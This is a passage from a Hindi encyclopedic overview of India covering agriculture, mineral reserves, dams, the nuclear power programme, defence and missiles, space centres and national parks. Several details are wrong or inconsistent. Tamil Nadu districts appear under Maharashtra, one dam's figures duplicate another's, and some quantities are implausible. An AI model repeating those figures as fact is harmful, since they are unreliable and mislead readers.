के साथ ही समस्त विश्व के कल्याण की कामना की गई है। हमारे प्रबुद्ध मनीषियों ने सम्पूर्ण विश्व को एक परिवार मानकर ‘विश्व बन्धुत्व’ एवं ‘वसुधैव कुटुम्भकम्’ की भावना को उजागर किया है-
सर्वे भवन्तु सुखिन: सर्वेसन्तु निरामया:।
सर्वे भद्राणि पश्यन्तु मा कश्चित् दुखभाग भवेत॥
कृषि
महत्त्वपूर्ण फ़सलों के तीन सबसे बड़े उत्पादक राज्य, 2007-08
फ़सल/फ़सल समूह
|
राज्य
|
उत्पादन (मिलियन टन)
|
देश के कुल उत्पादन का प्रतिशत
|
कृषि भारत की अर्थव्यवस्था की रीढ़ मानी जाती है। विभिन्न पंचवर्षीय योजनाओं द्वारा चलाए जा रहे विभिन्न कार्यक्रमों एवं प्रयासों से कृषि को राष्ट्रीय अर्थव्यवस्था में गरिमापूर्ण दर्जा मिला है। कृषि क्षेत्रों में लगभग 64% श्रमिकों को रोजगार मिला हुआ है। 1950-51 में कुल घरेलू उत्पाद में कृषि का हिस्सा 59.2% था जो घटकर 1982-83 में 36.4% और 1990-91 में 34.9% तथा 2001-2002 में 25% रह गया। यह 2006-07 की अवधि के दौरान औसत आधार पर घटकर 18.5% रह गया। दसवीं योजना (2002-2007) के दौरान समग्र सकल घरेलू उत्पाद की औसत वार्षिक वृद्धि पद 7.6% थी जबकि इस दौरान कृषि तथा सम्बद्ध क्षेत्र की वार्षिक वृद्धि दर 2.3% रही। 2001-02 से प्रारंभ हुई नव सहस्त्राब्दी के प्रथम 6 वर्षों में 3.0% की वार्षिक सामान्य औसत वृद्धि दर 2003-04 में 10% और 2005-06 में 6% की रही।
देश में राष्ट्रीय आय का लगभग 28% कृषि से प्राप्त होता है। लगभग 70% जनसंख्या अपनी आजीविका के लिए कृषि पर निर्भर है। देश से होने वाले निर्यातों का बड़ा हिस्सा भी कृषि से ही आता है। ग़ैर कृषि-क्षेत्रों में बड़ी मात्रा में उपभोक्ता वस्तुएं एवं बहुतायत उद्योगों को कच्चा माल इसी क्षेत्र द्वारा भेजा जाता है।
भारत में पाँचवें दशक के शुरुआती वर्षों में अनाज की प्रति व्यक्ति दैनिक उपलब्धता 395 ग्राम थी, जो 1990-91 में बढ़कर 468 ग्राम, 1996-97 में 528.77 ग्राम, 1999-2000 में 467 ग्राम, 2000-01 में 455 ग्राम, 2001-02 में 416 ग्राम, 2002-03 में 494 ग्राम और 2003-04 में 436 ग्राम तक पहुँच गई। वर्ष 2005-06 में यह उपलब्धता प्रति व्यक्ति प्रतिदिन 412 ग्राम हो गई। विश्व में सबसे अधिक क्षेत्रों में दलहनी खेती करने वाला देश भी भारत ही है। इसके बावजूद प्रति व्यक्ति दाल की दैनिक उपलब्धता संतोषजनक नहीं रही है। इसमें सामान्यत: प्रति वर्ष गिरावट दर्ज़ की गई है। वर्ष 1951 में दाल की प्रति व्यक्ति दैनिक उपलब्धता 60.7 ग्राम थी वही यह 1961 में 69.0 ग्राम, 1971 में 51.2 ग्राम, 1981 में 37.5 ग्राम, 1991 में 41.6 ग्राम और 2001 में 30.0 ग्राम हो गई। वर्ष 2005 में प्रति व्यक्ति प्रतिदिन दाल की निवल उपलब्ध मात्रा 31.5 ग्राम तथा 2005-06 के दौरान 33 ग्राम प्रतिदिन प्रति व्यक्ति हो गई। भारत में ही सर्वप्रथम कपास का संकर बीज तैयार किया गया है। विभिन्न कृषि क्षेत्रों में आधुनिकतम एवं उपयुक्त प्रौद्योगिकी का विकास करने में भी भारतीय वैज्ञानिकों ने सफलता अर्जित की है।
खनिज संपदा
स्वतंत्रता प्राप्ति के पश्चात भारत में खनिजों के उत्पादन में निरन्तर वृद्धि हुई है। कोयला, लौह अयस्क, बॉक्साइट आदि का उत्पादन निरंतर बढ़ा है। 1951 में सिर्फ़ 83 करोड़ रुपये के खनिजों का खनन हुआ था, परन्तु 1970-71 में इनकी मात्रा बढ़कर 490 करोड़ रुपये हो गई। अगले 20 वर्षों में खनिजों के उत्पादन में अभूतपूर्व वृद्धि हुई। 2001-02 में निकाले गये खनिजों का कुल मूल्य 58,516.36 करोड़ रुपये तक पहुँच गया जबकि 2005-06 के दौरान कुल 75,121.61 करोड़ रुपये मूल्य के खनिजों का उत्पादन किया गया। यदि मात्रा की दृष्टि से देखा जाये, तो भारत में खनिजों की मात्रा में लगभग तिगुनी वृद्धि हुई है, उसका 50% भाग सिर्फ़ पेट्रोलियम और प्राकृतिक गैस के कारण तथा 40% कोयला के कारण हुआ है। अन्य शब्दों में 2005-06 में कुल खनिज मूल्य (75,121.61 करोड़ रु) में से पेट्रोलियम और प्राकृतिक गैस से 26,851.31 करोड़ रुपये तथा कोयला और लिग्नाइट से 29,560.75 करोड़ रुपये के मूल्य शामिल हैं। शेष 11,575.35 करोड़ रुपये मूल्य के अन्य धात्विक तथा अधात्विक खनिज थे।
देश के महत्त्वपूर्ण खनिज
खनिज
|
अनुमानित भण्डार
|
प्राप्ति के क्षेत्र
|
विशेष बिन्दु
|
लौह खनिज
|
13 अरब टन
|
उड़ीसा: सोनाई, क्योंझर, मयूरभंज · झारखण्ड: सिंहभूम, हज़ारीबाग़ पलामू · छत्तीसगढ़: बस्तर, दुर्ग, रायपुर, रायगढ़ · मध्य प्रदेश: जबलपुर, बिलासपुर, बालाघाट, छिन्दबाड़ा · आन्ध्र प्रदेश: कुडप्पा, कृष्णा, कुरनूल, गुंटूर, वारंगल, चित्तूर · कर्नाटक: बेलारी, चिकमंगलूर, चीतल दुर्ग · महाराष्ट्र: सलेम, तिरुचिरापल्ली · गोवा
|
देश में विश्व का सर्वाधिक अनुमानित भण्डार[41] झारखण्ड तथा उड़ीसा राज्यों से देश का लगभग 75% लोहा प्राप्त किया जाता है।
|
मैंगनीज़
|
16.7 करोड़ टन
|
झारखण्ड: सिंहभूम · कर्नाटक: चीतलदुर्ग, तुमकुर, शिमोगा, किंमगलूर, उत्तरी कनारा, धारवाड़, बेलगाँव · आन्ध्र प्रदेश: विशाखापट्टनम · गुजरात पंचमहल· राजस्थान: उदयपुर तथा बाँसवाड़ा · मध्य प्रदेश: बालाघाट, छिन्दवाड़ा, सिवनी, जबलपुर · उड़ीसा: क्योंझर, कालाहांडी, तलचर, मयूरभंज · महाराष्ट्र: नागपुर, भण्डारा तथा रत्नागिरी
|
मैंगनीज़ उत्पादन में भारत का विश्व में तीसरा स्थान है। उड़ीसा देश का सर्वाधिक मैंगनीज़ उत्पादन करने वाला राज्य है।
|
अभ्रक
|
1.09 लाख टन
|
बिहार: अभ्रक पेटी का विस्तार गया तथा मुंगेर ज़िलों में · झारखण्ड: हज़ारीबाग़ में · राजस्थान: अभ्रक पेटी का विस्तार अजमेर, शाहपुरा, टींका, भीलवाड़ा, जयपुर में · आन्ध्र प्रदेश: नेल्लोर
|
भारत में विश्व का सर्वाधिक अभ्रक है तथा यहाँ पर से विश्व उत्पादन का लगभग दो तिहाई अभ्रक प्राप्त किया जाता है।
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बॉक्साइट
|
303.7 करोड़ टन
|
झारखण्ड: पलामू · गुजरात: खेड़ा · मध्य प्रदेश: कटनी, बालाघाट, बिलासपुर, बस्तर तथा जबलपुर · तमिलनाडु: सलेम · कर्नाटक: चीतलदुर्ग तथा बेलगाँव · महाराष्ट्र: कोल्हापुर · जम्मू कश्मीर: कोटली
|
बाक्साइट से एल्युमीनियम धातु की प्राप्ति होती है। भारत का विश्व में बाक्साइट उत्पादन में तीसरा स्थान है।
|
ताँबा
|
67.41 करोड़ टन
|
झारखण्ड: सिंहभूम, हज़ारीबाग़ · राजस्थान: खेतडी, झुंझुनू, भीलवाड़ा, अलवर, सिरोही · कर्नाटक: चीतलदुर्ग, हासन, रायचूर तथा चिकमंगलूर ·आन्ध्र प्रदेश: गुण्टूर, खम्माम तथा अग्रिगुण्डल · गुजरात: बनांसकाठा · मध्य प्रदेश: बालाघाट · देश में ताँबे की कुछ मात्रा पंजाब, उत्तर प्रदेश, सिक्किम तथा तमिलनाडु से भी प्राप्त होती है।
|
देश में ताँबा बहुत ही कम मात्रा में भण्डारित है। देश का लगभग ताँबा बिहार के सिंहभूम तथा हज़ारीबाग़ ज़िलों एवं राजस्थान की खेतड़ी खानों से प्राप्त किया जाता है।
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सोना
|
176.9 लाख टन
|
कर्नाटक [42]
|
|
मैग्रेसाइट
|
24.50 करोड़ टन
|
कर्नाटक: मैसूर तथा हासन · उत्तराखण्ड: अल्मोड़ा, चमोली तथा पिथोरागढ़ · तमिलनाडु: सलेम
|
|
कोयला
|
2,0624 खरब टन
|
झारखण्ड तथा बंगाल: रानीगंज, झरिया, गिरिडीह, बोकारो तथा करनपुरा · मध्य प्रदेश: सिंगरौली · छत्तीसगढ़: रायगढ़, सोनहट, सोहागपुर तथा उमरिया · उड़ीसा: देसगढ़, तलचर · महाराष्ट्र: चांदा ज़िला · असम: माकूम तथा लखीमपुर · आन्ध्र प्रदेश: सिंगरेनी · बहुत थोड़ी मात्रा में कोयला अरुणाचल प्रदेश, जम्मू कश्मीर, मेघालय तथा नागालैण्ड से भी प्राप्त किया जाता है।
|
|
लिग्नाइट
|
260 करोड़ टन
|
तमिलनाडु: नेबेली क्षेत्र · राजस्थान: पल्लू क्षेत्र · जम्मू कश्मीर: रियासी क्षेत्र · गुजरात तथा पाण्डिचेरी: लिग्नाइट के कुछ भण्डार मिलते हैं।
|
देश में लिग्नाइट का सर्वाधिक भण्डार[43] केवल तमिलनाडु राज्य में ही है।
|
खनिज तेल
|
620 करोड़ टन
|
इसकी प्राप्ति के प्रमुख क्षेत्र असम की ब्रह्मपुत्र घाटी तथा गुजरात राज्य में स्थित हैं। इनके अतिरिक्त त्रिपुरा, मणिपुर, पश्चिम बंगाल, हिमाचल प्रदेश, कच्छ क्षेत्र, आन्ध्र प्रदेश आदि में भी खनिज तेल का पता लगा है। पश्चिम बंगाल, उड़ीसा, आन्ध्र प्रदेश, महाराष्ट्र तथा गुजरात के अपतटीय क्षेत्र में भी तेल भण्डार स्थित हैं।
|
ऊर्जा और ईंधन
बिजली, कोयला, तेल और गैस
भारत के सर्वाधिक ऊँचे बाँध
क्रम
|
बाँध
|
नदी (निर्मित बाँध)
|
बाँध की ऊँचाई
|
बाँध की लम्बाई (मीटर में)
|
जलाशय क्षमता
|
1
|
टिहरी बाँध
|
भागीरथी
|
261
|
570
|
35,390
|
2
|
किशाऊ बाँध
|
टोंस
|
253
|
260
|
24,000
|
3
|
इदुक्की बाँध
|
पेरियार
|
196
|
366
|
19,960
|
4
|
भाखड़ा बाँध
|
सतलुज
|
191
|
440
|
5,800
|
5
|
लखवार बाँध
|
यमुना
|
191
|
440
|
5,800
|
6
|
श्रीशैलम बाँध
|
कृष्णा
|
143
|
512
|
87,220
|
7
|
चेरूतानी बाँध
|
चेरूतानी
|
138
|
650
|
19,960
|
8
|
सरदार सरोवर बाँध
|
नर्मदा
|
137
|
1210
|
94,920
|
9
|
पोंग बाँध
|
व्यास
|
133
|
1950
|
87,700
|
10
|
साइलैण्ड बैली बाँध
|
कुंती पूजा
|
131
|
430
|
3,170
|
|
परमाणु ऊर्जा
भारत का परमाणु ऊर्जा विभाग तीन चरणों में नाभिकीय ऊर्जा कार्यक्रम चला रहा है-
- पहले चरण में दाबित गुरुजल रिएक्टरों (पी एच डब्ल्यू आर) और उनसे जुड़े ईंधन-चक्र के लिए विधा को स्थापित किया जाना है। ऐसे रिएक्टरों में प्राकृतिक यूरेनियम को ईंधन के रुप में गुरुजल को मॉडरेटर एवं कूलेंट के रुप में प्रयोग किया जाता है।
- दूसरे चरण में फास्ट ब्रीडर रिएक्टर बनाने का प्रावधान है, जिनके साथ पुनः प्रसंस्करण संयंत्र और प्लूटोनियम-आधारित ईंधन संविचरण संयंत्र भी होंगे। प्लूटोनियम को यूरेनियम 238 के विखंडन से प्राप्त किया जाता है।
- तीसरा चरण थोरियम-यूरेनियम-233 चक्र पर आधारित है। यूरेनियम-233 को थोरियम के विकिरण से हासिल किया जाता है।
पहला चरण
नाभिकीय ऊर्जा कार्यक्रम के प्रथम चरण का उपयोग व्यावसायिक क्षेत्रों में हो रहा है। भारतीय नाभिकीय ऊर्जा निगम लिमिटेड (एन.पी.सी.आई.एल.) परमाणु ऊर्जा विभाग की सार्वजनिक क्षेत्र की इकाई है जिस पर नाभिकीय रिएक्टरों के डिजाइन, निर्माण और संचालन का दायित्व है। कम्पनी 17 रिएक्टर्स (दो उबलते जल वाले रिएक्टर और 15 दाबित गुरुजल रिएक्टर) का संचालन करती है जिनकी कुल क्षमता 4120 मेगावॉट है। एनपीसीआईएल 03 पीएचडब्ल्यू रिएक्टर्स का तथा दो हल्के जल रिएक्टर्स का निर्माण का रही है जिससे इसकी क्षमता वर्ष 2008 तक बढ़ का 6780 मेगा इलेक्ट्रिक वॉट हो जाएगी।
द्वितीय चरण
फास्ट ब्रीडर कार्यक्रम तकनीकी प्रदर्शन के चरण में है। दूसरे चरण का अनुभव प्राप्त करने के लिए इंदिरा गांधी परमाणु अनुसंधान केन्द्र (आई. जी. सी. ए. आर.) तरल सोडियम द्वारा ठंडे किए जा रहे फास्ट ब्रीडर रिएक्टरों के डिजाइन और विकास में लगा है। इसने फास्ट ब्रीडर रिएक्टर प्रौद्योगिकी विकसित करने में सफलता हासिल कर ली है। इसके 500 मेगावाट क्षमता के प्रोटोटाइप फास्ट ब्रीडर रिएक्टर (पी.एफ.बी.आर.) का निर्माण कलपक्कम में शुरू कर दिया गया है। इन परियोजनाओं को लागू करने के लिए नई कंपनी भारतीय नाभिकीय विद्युत निगम (बीएचएबीआरएनआई) ‘भाविनी’ द्वारा वर्ष 2010-11 तक दक्षिणी ग्रिड को 500 मेगा इलेक्ट्रिक वाट विद्युत की आपूर्ति की जा सकेगी।
तृतीय चरण
नाभिकीय ऊर्जा कार्यक्रम का तीसरा चरण तकनीकी विकास के चरण में है। बार्क में 300 मेगावाट के उन्नत गुरुजल रिएक्टर (ए.एच.डब्लू.आर.) का विकास कार्य चल रहा है ताकि थोरियम इस्तेमाल में विशेषज्ञता हासिल हो सके और सुरक्षा के पुख्ता तरीकों का प्रदर्शन हो जाए। थोरियम आधारित प्रणालियों जैसे एएचडब्ल्यूआर को व्यावसायिक इस्तेमाल के लिए तभी स्थापित किया जा सकता है जबकि फास्ट ब्रीडर रिएक्टर के आधार पर उच्च क्षमता का निर्माण कर लिया जाए।
रक्षा
भारतीय सेना
भारत की रक्षा नीति का प्रमुख उद्देश्य यह है कि भारतीय उपमहाद्वीप में उसे बढ़ावा दिया जाए एवं स्थायित्व प्रदान किया जाए तथा देश की रक्षा सेनाओं को पर्याप्त रूप से सुसज्जित किया जाए, ताकि वे किसी भी आक्रमण से देश की रक्षा कर सकें। वर्ष 1946 के पूर्व भारतीय रक्षा का पूरा नियंत्रण अंग्रेज़ों के हाथों में था। उसी वर्ष केंद्र में अंतरिम सरकार में पहली बार एक भारतीय देश के रक्षा मंत्री बलदेव सिंह बने। हालांकि कमांडर-इन-चीफ एक अंग्रेज़ ही रहा । 1947 में देश का विभाजन होने पर भारत को 45 रेजीमेंटें मिलीं, जिनमें 2.5 लाख सैनिक थे। शेष रेजीमेंट पाकिस्तान चली गयीं। गोरखा फ़ौज की 6 रेजीमेंटं (लगभग 25,000 सैनिक) भी भारत को मिलीं। शेष गोरखा सैनिक ब्रिटिश सेना में सम्मिलित हो गये। ब्रिटिश सेना की अंतिम टुकड़ी सामरसैट लाइट इन्फैंट्री की पहली बटालियन हो गयी। ब्रिटिश सेना की अंतिम टुकड़ी सामरसैट लाइट इन्फैंट्री की पहली बटालियन भारतीय भूमि से 28 फ़रवरी, 1948 को स्वदेश रवाना हुई। कुछ अंग्रेज़ अफ़सर परामर्शक के रूप में कुछ समय तक भारत में रहे लेकिन स्वतंत्रता के पहले क्षण से ही भारतीय सेना पूर्णत: भारतीयों के हाथों में आ गयी थी। स्वतंत्रता के तुरंत पश्चात भारत सरकार ने भारतीय सेना के ढांचे में कतिपय परिवर्तन किये। थल सेना, वायु सेना एवं नौसेना अपने-अपने मुख्य सेनाध्यक्षों के अधीन आयी। भारतीय रियासतों की सेना को भी देश की सैन्य व्यवस्था में शामिल कर लिया गया। 26 जनवरी, 1950 को देश के गणतंत्र बनने पर भारतीय सेनाओं की संरचनाओं में आवश्यक परिवर्तन किये गये।
भारत के प्रक्षेपास्त्र
क्रम
|
प्रक्षेपास्त्र
|
प्रकार
|
मारक क्षमता
|
आयुध वजन क्षमता
|
प्रथम परीक्षण
|
लागत
|
विकास स्थिति
|
1
|
अग्नि-1
|
सतह से सतह पर मारक(इंटरमीडिएट बैलिस्टिक प्रक्षेपास्त्र)
|
1200 से 1500 कि.मी.
|
1000 कि.ग्रा.
|
22 मई, 1989
|
8 करोड़ रुपये
|
विकसित एवं तैनात
|
2
|
अग्नि-2
|
सतह से सतह पर मारक(इंटरमीडिएट बैलिस्टिक प्रक्षेपास्त्र)
|
1500 से 2000 कि.मी.
|
1000 कि.ग्रा. (परम्परागत एवं परमाण्विक)
|
11अप्रॅल, 1999
|
8 करोड़ रुपये
|
विकसित एवं प्रदर्शित
|
3
|
अग्नि-3
|
इंटरमीडिएट बैलिस्टिक प्रक्षेपास्त्र
|
3000 कि.मी.
|
1500 कि.ग्रा.
|
9 जुलाई, 2006 (असफल), 12 अप्रॅल, 2007 (प्रथम सफल परीक्षण)
|
|
निर्माणाधीन
|
4
|
पृथ्वी
|
सतह से सतह पर मारक अल्प दूरी के टैक्टिकल बैटल फील्ड प्रक्षेपास्त्र
|
150 से 250 कि.मी.
|
500 कि.ग्रा.
|
25 फ़रवरी, 1989
|
3 करोड़ रुपये
|
विकसित एवं तैनात
|
5
|
त्रिशूल
|
सतह से वायु में मारक लो लेवेल क्लीन रिएक्शन अल्प दूरी के प्रक्षेपास्त्र
|
500 मी. से 9 कि.मी.
|
15 कि.ग्रा.
|
5 जून, 1989
|
45 लाख रुपये
|
विकसित एवं तैनात
|
6
|
नाग
|
सतह से सतह पर मारक टैंक भेदी प्रक्षेपास्त्र
|
4 कि.मी.
|
10 कि.ग्रा.
|
29 नवम्बर, 1991
|
25 लाख रुपये
|
विकसित एवं तैनात
|
7
|
आकाश
|
सतह से वायु में मारक बहुलक्षक प्रक्षेपास्त्र
|
25 से 30 कि.मी.
|
55 कि.ग्रा.
|
15 अगस्त, 1990
|
1 करोड़ रुपये
|
विकसित एवं तैनात
|
8
|
अस्त्र
|
वायु से वायु में मारक प्रक्षेपास्त्र
|
25 से 40 कि.मी.
|
300 कि.ग्रा.
|
9 मई, 2003
|
|
निर्माणाधीन
|
9
|
ब्रह्मोस
|
पोतभेदी सुपर सोनिक क्रूज़ प्रक्षेपास्त्र
|
290 कि.मी.
|
300 कि.ग्रा.
|
12 जून, 2001
|
|
विकसित एवं तैनात
|
10
|
शौर्य
|
सतह से सतह पर मारक बैलिस्टिक प्रक्षेपास्त्र
|
750 कि.मी.
|
1000 कि.ग्रा.
|
12 नवम्बर, 2008
|
|
विकसित एवं तैनात
|
भारत की रक्षा सेनाओं का सर्वोच्च कमांडर भारत का राष्ट्रपति है, किन्तु देश रक्षा व्यवस्था की जिम्मेदारी मंत्रिमंडल की है। रक्षा से संबंधित सभी महत्त्वपूर्ण मामलों का फैसला राजनीतिक कार्यों संबंधी मंत्रिमंडल समिति (कैबिनेट कमेटी ऑन पॉलिटिकल अफेयर्स) करती है, जिसका अध्यक्ष प्रधानमंत्री होता है। रक्षा मंत्री सेवाओं से संबंधित सभी विषयों के बारे में संसद के समक्ष उत्तरदायी है।
रक्षा मंत्रालय का प्रमुख रक्षा मंत्री है और सबसे बड़ा वित्तीय अधिकारी रक्षा मंत्रालय का वित्तीय सलाहकर होता है। रक्षा मंत्रालय में चार विभाग है- (1) रक्षा विभाग, (2) रक्षा उत्पादन विभाग, (3) रक्षा आपूर्ति विभाग और (4) रक्षा विज्ञान एवं अनुसंधान विभाग। रक्षा मंत्रालय देश की रक्षा करने और सशस्त्र सेनाओं - स्थल सेना, नौ सेना और वायु सेना के साज-सामान जुटाने और उनका प्रशासन चलाने के लिए उत्तरदायी है। रक्षा मंत्रालय भारत की रक्षा सशस्त्र सेनाओं अर्थात थल सेना, नौ सेना और वायु सेना के गठन और उनके प्रशासन, सशस्त्र सेनाओं के लिए अस्त्र-शस्त्र, गोला-बारूद, पोत, विमान, वाहन, उपकरण और साज-सामान की व्यवस्था करने, अभी तक आयात होने वाली मदों को देश के भीतर निर्मित करने की क्षमता स्थापित करने और रक्षा के क्षेत्र में अनुसंधान एवं विकास को बढ़ावा देने के लिए सीधे उत्तरदायी है। इस मंत्रालय की कुछ अन्य जिम्मेदारियाँ हैं- मंत्रालय से संबद्ध असैनिक सेवाओं पर नियंत्रण, कैन्टोनमेंट बनाना, उनके क्षेत्र का निर्धारण करना और रक्षा सेवा कर्मचारियों के लिए आंवास सुविधाओं का विनिमयन करना। भारत की सशस्त्र सेनाओं में तीन मुख्य सेवायें हैं- थल-सेना, नौसेना और वायु सेना।
सीमा सुरक्षा बल का प्रतीक
ये तीनों सेवायें एक सेनाध्यक्ष अर्थात क्रमश: स्थल सेनाध्यक्ष, नौ सेनाध्यक्ष और वायु सेनाध्यक्ष के अधीन हैं। ये तीनों सेनाध्यक्ष जनरल या इसके बराबर पद वाले होते हैं। इन तीनों सेनाध्यक्षों की एक सेनाध्यक्ष समिति है। इस समिति की अध्यक्षता यही तीनों सेनाध्यक्ष अपनी वरिष्ठता के आधार पर करते हैं। इस समिति की सहायता के लिए उप-समितियां होती हैं जो विशेष समस्याओं जैसे आयोजन, प्रशिक्षण, संचार आदि का काम देखती हैं।
आज भारत की थल सेना विश्व की सबसे बड़ी स्थल सेनाओं में चौथे स्थान पर, वायु सेना पांचवें स्थान पर और नौ सेना सातवें स्थान पर मानी जाती है। सेना के प्रमुख सहायक संगठन हैं- (1) प्रादेशिक सेना (2) तट रक्षक, (3) सहायक वायु सेना और (4) एन. सी. सी. जिसमें स्थल सेना, नौ सेना और वायु सेना तीनों पार्श्व होते हैं।
अंतरिक्ष कार्यक्रम
भारतीय अंतरिक्ष केन्द्र और इकाइयां
क्रम
|
स्थान
|
केन्द्र और इकाइयां
|
1
|
बंगलौर
|
इसरो मुख्यालय, अंतरिक्ष आयोग, अंतरिक्ष विभाग, इस्ट्रैक मुख्यालय, उपग्रह नियंत्रण केन्द्र, एन.एन.आर.एम.एस सचिवालय, द्रव नोदन प्रणाली केंद्र
|
2
|
हासन
|
इन्सैट प्रधान नियंत्रण सुविधा
|
3
|
अहमदाबाद
|
भौतिक अनुसंधान उपयोग केंद्र, प्रयोगशाला विकास, शैक्षिक एवं संचार इकाई
|
4
|
श्रीहरिकोटा
|
शार केंद्र
|
5
|
महेंद्रगिरि
|
द्रव नोदन जांच सुविधाएं
|
6
|
नागपुर
|
केन्द्रीय प्र.रा.सं. से केंद्र
|
7
|
मुम्बई
|
इसरो सम्पर्क कार्यालय
|
8
|
तिरुअनन्तपुरम
|
विक्रम साराभाई अंतरिक्ष केन्द्र, द्रव नोदन प्रणाली केंद्र, सी.एल.एल.वी. सुविधाएं, इसरो जड़त्वीय प्रणाली इकाई
|
9
|
हैदराबाद
|
राष्ट्रीय सुदूर संवेदन एजेंसी
|
10
|
नई दिल्ली
|
अंतरिक्ष विभाग शाखा, इसरो शाखा कार्यालय, दिल्ली भू-केंद्र
|
11
|
देहरादून
|
भारतीय सुदूर संवेदन, उत्तरी 5 सं.सं. से केंद्र
|
12
|
लखनऊ
|
इस्ट्रैक भू-केंद्र
|
13
|
बालासोर
|
मौसम विज्ञानी रॉकेट केंद्र
|
14
|
कवलूर
|
उपग्रह अनुवर्तन तथा सर्वेक्षण केंद्र
|
15
|
अलवाय
|
अमोनियम परक्लोरेट प्रायोगिक संयंत्र
|
16
|
उदयपुर
|
सौर वेधशाला
|
17
|
जोधपुर
|
पश्चिमी प्र.सं.सं. से केंद्र
|
18
|
खड़गपुर
|
पूर्वी प्र.सं.सं. से केंद्र
|
विकासशील अर्थव्यवस्था और उससे जुड़ी समस्याओं से घिरे होने के बावज़ूद भारत ने अंतरिक्ष प्रौद्योगिकी को प्रभावी ढंग से विकसित किया है और उसे अपने तीव्र विकास के लिए इस्तेमाल भी किया है तथा आज विश्व के अन्य देशों को विभिन्न अंतरिक्ष सेवाएं उपलब्ध करा रहा है। 1960 के दशक के प्रारंभिक वर्षों में अंतरिक्ष अनुसंधान की शुरुआत भारत में मुख्यत: साउंडिंग रॉकेटों की मदद से हुई। भारतीय अंतरिक्ष अनुसंधान संगठन (इसरो) की स्थापना 1969 में की गई। भारत सरकार द्वारा 1972 में 'अंतरिक्ष आयोग' और 'अंतरिक्ष विभाग' के गठन से अंतरिक्ष शोध गतिविधियों को अतिरिक्त गति प्राप्त हुई। 'इसरो' को अंतरिक्ष विभाग के नियंत्रण में रखा गया। भारतीय अंतरिक्ष कार्यक्रम के इतिहास में 70 का दशक प्रयोगात्मक युग था जिस दौरान 'आर्यभट', 'भास्कर', 'रोहिणी' तथा 'एप्पल' जैसे प्रयोगात्मक उपग्रह कार्यक्रम चलाए गए। इन कार्यक्रमों की सफलता के बाद 80 का दशक संचालनात्मक युग बना जबकि 'इन्सेट' तथा 'आईआरएस' जैसे उपग्रह कार्यक्रम शुरू हुए। आज इन्सेट तथा आईआरएस इसरो के प्रमुख कार्यक्रम हैं।
अंतरिक्ष यान के स्वदेश में ही प्रक्षेपण के लिए भारत का मजबूत प्रक्षेपण यान कार्यक्रम है। यह अब इतना परिपक्व हो गया है कि प्रक्षेपण की सेवाएं अन्य देशों को भी उपलब्ध कराता है। इसरो की व्यावसायिक शाखा एंट्रिक्स, भारतीय अंतरिक्ष सेवाओं का विपणन विश्व भर में करती है। भारतीय अंतरिक्ष कार्यक्रम की ख़ास विशेषता अंतरिक्ष में जाने वाले अन्य देशों, अंतरराष्ट्रीय संगठनों और विकासशील देशों के साथ प्रभावी सहयोग है।
- वर्ष 2005-06 में भारतीय अंतरिक्ष कार्यक्रम की सबसे प्रमुख उपलब्धि 'पीएसएलवीसी 6' का सफल प्रक्षेपण रही है।
- 5 मई, 2005 को 'पोलर उपग्रह प्रक्षेपण यान' (पीएसएलवी-एफसी 6) की नौवीं उड़ान ने श्रीहरिकोटा के सतीश धवन अंतरिक्ष केंद्र (एसडीएससी) से सफलतापूर्वक दो उपग्रहों - 1560 कि.ग्रा. के कार्टोस्टार-1 तथा 42 कि.ग्रा. के हेमसेट को पूर्व-निर्धारित पोलर सन सिन्क्रोनन आर्बिट (एसएसओ) में पहुंचाया। लगातार सातवीं प्रक्षेपण सफलता के बाद पीएसएलवी-सी 6 की सफलता ने पीएसएलवी की विश्वसनीयता को आगे बढ़ाया तथा 600 कि.मी. ऊंचे पोलर एसएसओ में 1600 कि.ग्रा. भार तक के नीतभार को रखने की क्षमता को दर्शाया है।
- 22 दिसंबर 2005 को इन्सेट-4ए का सफल प्रक्षेपण, जो कि भारत द्वारा अब तक बनाए गए सभी उपग्रहों में सबसे भारी तथा शक्तिशाली है, वर्ष 2005-06 की अन्य बड़ी उपलब्धि थी।
- इन्सेट-4ए डाररेक्ट-टू-होम (डीटीएच) टेलीविजन प्रसारण सेवाएं प्रदान करने में सक्षम है।
- इसके अतिरिक्त, नौ ग्रामीण संसाधन केंद्रों (वीआरसीज) के दूसरे समूह की स्थापना करना अंतरिक्ष विभाग की वर्ष के दौरान महत्वपूर्ण मौजूदा पहल है। वीआरसी की धारणा ग्रामीण समुदायों की बदलती तथा महत्वपूर्ण आवश्यकताओं को पूरा करने के लिए अंतरिक्ष व्यवस्थाओं तथा अन्य आईटी औजारों से निकलने वाली विभिन्न प्रकार की जानकारी प्रदान करने के लिए संचार साधनों तथा भूमि अवलोकन उपग्रहों की क्षमताओं को संघटित करती है।
पशु पक्षी जगत
प्रमुख राष्ट्रीय उद्यान एव अभयारण्य
क्रम
|
राष्ट्रीय उद्यान एव अभयारण्य
|
प्रदेश
|
प्राप्य वन जीव
|
1
|
बांधवगढ़ राष्ट्रीय उद्यान, शहडोल
|
मध्य प्रदेश
|
बाघ, तेंदुआ, चीतल, सांभर, नीलगाय, जंगली सूअर
|
2
|
बांदीपुर राष्ट्रीय उद्यान, मैसूर
|
कर्नाटक
|
हाथी, चीता, तेंदुआ, चीतल, सांभर, हिरण
|
3
|
वन्नरघट्टा राष्ट्रीय उद्यान, बैंगलूर
|
कर्नाटक
|
हाथी, चीतल, भालू, हिरण, पक्षी
|
4
|
बोरीविली राष्ट्रीय उद्यान, मुम्बई
|
महाराष्ट्र
|
तेंदुआ, सांभर, जंगली सूअर, हिरण, लंगूर
|
5
|
कार्बेट राष्ट्रीय उद्यान, नैनीताल
|
उत्तराखंड
|
हाथी, चीता, बघेरा, नीलगाय, भालू, चीतल, सांभर, हिरण, जंगली सूअर आदि
|
6
|
दुधवा राष्ट्रीय उद्यान, लखीमपुर-खीरी
|
उत्तर प्रदेश
|
चीता, तेंदुआ, नीलगाय, चीतल, सांभर, हिरण, आदि
|
7
|
इरविकुलम राजमल्ले राष्ट्रीय उद्यान, इदुक्की
|
केरल
|
हाथी, गौर, चीता, सांभर, नीलगाय, तेंदुआ, लंगूर, जंगली सूअर आदि
|
8
|
गिर राष्ट्रीय उद्यान
|
गुजरात
|
एशियाई शेर, तेंदुआ, चीतल, सांभर, चौसिंगा, जंगली सूअर, चिंकारा आदि
|
9
|
कान्हा किसली राष्ट्रीय उद्यान, मंडला एवं बालाघाट
|
मध्य प्रदेश
|
बाघ, तेंदुआ, चीतल, सांभर, नीलगाय, जंगली सूअर, गौर, बारहसिंगा आदि
|
10
|
काजीरंगा राष्ट्रीय उद्यान, जोरहाट
|
असम
|
